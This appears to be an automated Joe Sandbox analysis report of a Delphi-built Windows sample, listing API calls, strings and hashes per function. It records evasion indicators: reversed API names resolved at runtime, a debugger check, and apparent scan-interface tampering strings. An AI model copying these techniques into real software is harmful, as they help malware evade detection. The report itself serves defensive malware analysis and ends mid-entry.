Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: b796623d49067b6c77172796d35e003ec3a320245d8e81b72a2d8cb60b48c800
Instruction ID: ff6cf0c2e71c4ba2a26a0b189fab061016cc5625eceeaf450458219761258286
Opcode Fuzzy Hash: b796623d49067b6c77172796d35e003ec3a320245d8e81b72a2d8cb60b48c800
Instruction Fuzzy Hash: F4F0B4A9AC8341BBFF21A2A4EC5AF592B7D8744F21F508A05B324B40D187F448C89B36

Function 027DAEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 027DAD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 027DAD59
Part of subcall function 027DAD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 027DAD7D
Part of subcall function 027DAD3C: GetModuleFileNameA.KERNEL32(027D0000,?,00000105), ref: 027DAD98
Part of subcall function 027DAD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 027DAE2E

CharToOemA.USER32(?,?), ref: 027DAEFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 027DAF18
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 027DAF1E
GetStdHandle.KERNEL32(000000F4,027DAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 027DAF33
WriteFile.KERNEL32(00000000,000000F4,027DAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 027DAF39
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 027DAF5B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 027DAF71

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: d9aa5f5f1175ec19bed18aa54b61592d3b763fcdb74dc7a6cd5eb4a79d7efde0
Instruction ID: 743cbbdacb28089415e977d9d5b26c4270a8bb78df94852e1c2ca67e19fc21bf
Opcode Fuzzy Hash: d9aa5f5f1175ec19bed18aa54b61592d3b763fcdb74dc7a6cd5eb4a79d7efde0
Instruction Fuzzy Hash: DD11CEB6544304BED302FBA4DC89F9B77FDAB45310F804A56B754D60E1DB71E9048B62

Function 027DE58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 027DE625
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 027DE641
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 027DE67A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 027DE6F7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 027DE710
VariantCopy.OLEAUT32(?,00000000), ref: 027DE745

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 7bd527e0e0c8703d91f91903a2e2ea69a9bb1dd586759c9b0cc75b2ffb61a889
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 5251087690162D9BCB23DF58CD84BDAB3BDAF49340F4041D5EA09EB211DA30AF858F61

Function 027D3598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 027D35BA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,027D3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 027D35ED
RegCloseKey.ADVAPI32(?,027D3610,00000000,?,00000004,00000000,027D3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 027D3603

Strings

FPUMaskValue, xrefs: 027D35E4
SOFTWARE\Borland\Delphi\RTL, xrefs: 027D35B0

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 185313a2c37615418dd9b1b71fcf990e89bdea35448d8404ca01ab8ace3adf16
Instruction ID: c27e3796698de86e194699b31592330d8ac58edca0a380a351e7b5e6ccedf919
Opcode Fuzzy Hash: 185313a2c37615418dd9b1b71fcf990e89bdea35448d8404ca01ab8ace3adf16
Instruction Fuzzy Hash: 6E01D8B9A44318BAFB11DFD0CD02BBE77FCD708B00F5045A5BA04D6680E675A510CF69

Function 027E8140 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
GetProcAddress.KERNEL32(?,?), ref: 027E81A5

Strings

sserddAcorPteG, xrefs: 027E815B
Kernel32, xrefs: 027E8188

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 2844e513c1ec104cc2265e8769cc04537e5b78e3c2db960656d5d180cfc9a287
Instruction ID: fd39fc0b52149a55f8493ece1f93bff8fb07196b4e6632310311ddaaf63991aa
Opcode Fuzzy Hash: 2844e513c1ec104cc2265e8769cc04537e5b78e3c2db960656d5d180cfc9a287
Instruction Fuzzy Hash: 0901A278A00304AFEB11EBA4E959F5EBBFEEB4C710F528464F401D7650E670A9048A29

Function 027DAA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,027DAAE7,?,?,00000000), ref: 027DAA68

Part of subcall function 027DA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027DA7E2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,027DAAE7,?,?,00000000), ref: 027DAA98
EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 027DAAA3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,027DAAE7,?,?,00000000), ref: 027DAAC1
EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 027DAACC

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 3e3ebf1b5b2565c7f2de934d6fcdc958768450a4fec57db1aceb26aef737e290
Instruction ID: 1277ce96d7cde28e03fb2ac13cd69d9b80c524979933b44ff7f3e03187582979
Opcode Fuzzy Hash: 3e3ebf1b5b2565c7f2de934d6fcdc958768450a4fec57db1aceb26aef737e290
Instruction Fuzzy Hash: 3501A2B93006446FFB13BA64DE15F6A7B7DEB86720F510660F500E66C0E7759E008A69

Function 027DAB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,027DACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 027DAB2F

Part of subcall function 027DA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027DA7E2

Strings

eeee, xrefs: 027DAC3E
ggg, xrefs: 027DAC15
yyyy, xrefs: 027DAC25

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: d42fc47b40e6f462fd094d4f62fd8d5bbe5d65660105b81fa72c9e86ee2d9fa2
Instruction ID: 2de360123cb5602814f48616c42eb96fd8fcc4efdef941c032edfbbbe998c3d3
Opcode Fuzzy Hash: d42fc47b40e6f462fd094d4f62fd8d5bbe5d65660105b81fa72c9e86ee2d9fa2
Instruction Fuzzy Hash: 5C4123717042054BDB13EB78C9A86BEB7FBFF81220B554921D48AD3344EB34EE02CA25

Function 027E8098 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Strings

KernelBASE, xrefs: 027E80D1
AeldnaHeludoMteG, xrefs: 027E80B1

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: a5adfeb4742629147d57f7499e6ff50c61e0dd019a338d26936c95f6f069e43d
Instruction ID: 5dcdcf7fdd8ffc6f036872a8f3bf609731811b01a9d0f1a0faf840b35b040c00
Opcode Fuzzy Hash: a5adfeb4742629147d57f7499e6ff50c61e0dd019a338d26936c95f6f069e43d
Instruction Fuzzy Hash: D6F0F078600308AFEB02EFA0DD5AA2ABBEDFB0DB04B524464F402D3660D770AD008A35

Function 027EF9DC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,027EFDE0,UacInitialize,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanString), ref: 027EF9E2
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 027EF9F4

Strings

KernelBase, xrefs: 027EF9DD
IsDebuggerPresent, xrefs: 027EF9EE

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: da56a962c13dbaa468dac8671789dcc0fb3aa0f4b3a5c334a77f85d1492558f6
Instruction ID: b718575c31dd4683f323e014962bfa162dbec2dd4558f7afd2e8938002889d10
Opcode Fuzzy Hash: da56a962c13dbaa468dac8671789dcc0fb3aa0f4b3a5c334a77f85d1492558f6
Instruction Fuzzy Hash: D0D012E63603801EFE00B2F42CC881D038CC91E92E3200E62F027DA8A2F6A68811502A

Function 027DC474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,027FD10B,00000000,027FD11E), ref: 027DC47A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 027DC48B

Strings

kernel32.dll, xrefs: 027DC475
GetDiskFreeSpaceExA, xrefs: 027DC485

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 60c5508f0ac7860d5648adf5f4b6ae2b59ecffe4574cad7e819eca82ce4b674e
Instruction ID: fa4be13551dce5d95d75014b54820c2170e3d9fc75dada844b2c893d9a7de70d
Opcode Fuzzy Hash: 60c5508f0ac7860d5648adf5f4b6ae2b59ecffe4574cad7e819eca82ce4b674e
Instruction Fuzzy Hash: C0D05EE0A443045BEA42BAB1A5856312FB88308314B04986FE50186110E7726410CF15

Function 027DE1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 027DE297
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 027DE2B3
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 027DE32A
VariantClear.OLEAUT32(?), ref: 027DE353

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 69a9c782a50049b450c638060455831e719d60c0dda772e847a290a54296c443
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: B7410875A016299FCB63DF58CD94BDAB3BDAF49314F4042D5E648AB211DA30AF80CF60

Function 027DAD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 027DAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 027DAD7D
GetModuleFileNameA.KERNEL32(027D0000,?,00000105), ref: 027DAD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 027DAE2E

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 1583ebec2a28562c5ed6cc76fe25e5756477f5ea1240ec16dfdccab7ffbbb413
Instruction ID: ff6491842e4d0800642674599ed5f564fb04a1a99d43936b249b24c360195cce
Opcode Fuzzy Hash: 1583ebec2a28562c5ed6cc76fe25e5756477f5ea1240ec16dfdccab7ffbbb413
Instruction Fuzzy Hash: 20414C74A402589FDB22EB68DC89BDAB7FDAB08300F4440E6A548E7345DB70AF84CF55

Function 027DAD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 027DAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 027DAD7D
GetModuleFileNameA.KERNEL32(027D0000,?,00000105), ref: 027DAD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 027DAE2E

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 2e9e37f8d1e81b85bb5100cb850d499f8fb9e5ee5f19480b32315613965c3f51
Instruction ID: fafafe1da7e4b337dc376cc2d285a00e054974824d0c3725fd033aa7a848131a
Opcode Fuzzy Hash: 2e9e37f8d1e81b85bb5100cb850d499f8fb9e5ee5f19480b32315613965c3f51
Instruction Fuzzy Hash: 59415E74A402589FDB22EB68DC89BDAB7FDAB08301F4440E5A548E7341DB70AF84CF55

Function 027D1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b093ab615414098555e635550d71d4c3293ab06616ee3066752053bcf49da1
Instruction ID: eeb904e4a6791b17692331308958b45ad94dacb2d1ae236f62176580b2994bf3
Opcode Fuzzy Hash: f3b093ab615414098555e635550d71d4c3293ab06616ee3066752053bcf49da1
Instruction Fuzzy Hash: C0A128667116000BD719AA7DAD843BDB3E2DBC5325F98827EE11DCB3C2EB68C9458750

Function 027D94EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,027D95DA), ref: 027D9572
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,027D95DA), ref: 027D9578

Strings

yyyy, xrefs: 027D954D

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: df39e05453dddfdb088f138b2fad87a78d078675b9a85604adbc7d0ab86915fa
Instruction ID: 1a767954d08a3eb2f53a31144c9e53425e1c10eb6a2c54dec63f5039474ed42d
Opcode Fuzzy Hash: df39e05453dddfdb088f138b2fad87a78d078675b9a85604adbc7d0ab86915fa
Instruction Fuzzy Hash: 78218175A00268DFDB11DFA8C995AAEB7B9EF09710F5100B5E946E7280D730DE40CF65

Function 027E8204 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,027E828E), ref: 027E8270

Strings

Kernel32, xrefs: 027E824F
FlushInstructionCache, xrefs: 027E821D

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: f8d44f5fa550c809a2c829b0784f0d2d20260cd265cbbc301be15e3a4c87e296
Instruction ID: 289ad154bccdfd716e846a573d6ea02b87e7afa4d662805d8ffb44e3292efd05
Opcode Fuzzy Hash: f8d44f5fa550c809a2c829b0784f0d2d20260cd265cbbc301be15e3a4c87e296
Instruction Fuzzy Hash: 7A01A979640708BFEB12EFA8DD1AF5A77FEEB4CB10F518420B601D6250D630AD148A36

Function 027EADDC Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 027EAE10
IsBadWritePtr.KERNEL32(?,00000004), ref: 027EAE40
IsBadReadPtr.KERNEL32(?,00000008), ref: 027EAE5F
IsBadReadPtr.KERNEL32(?,00000004), ref: 027EAE6B

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: e720fd1f35371ed8eed611904540eb1dceb651114ec14aff2087e2dc2d652641
Instruction ID: f03c3d0a7acb7d50050832f2678eeaefc92fb1196315a73bc13d09e4be3607a4
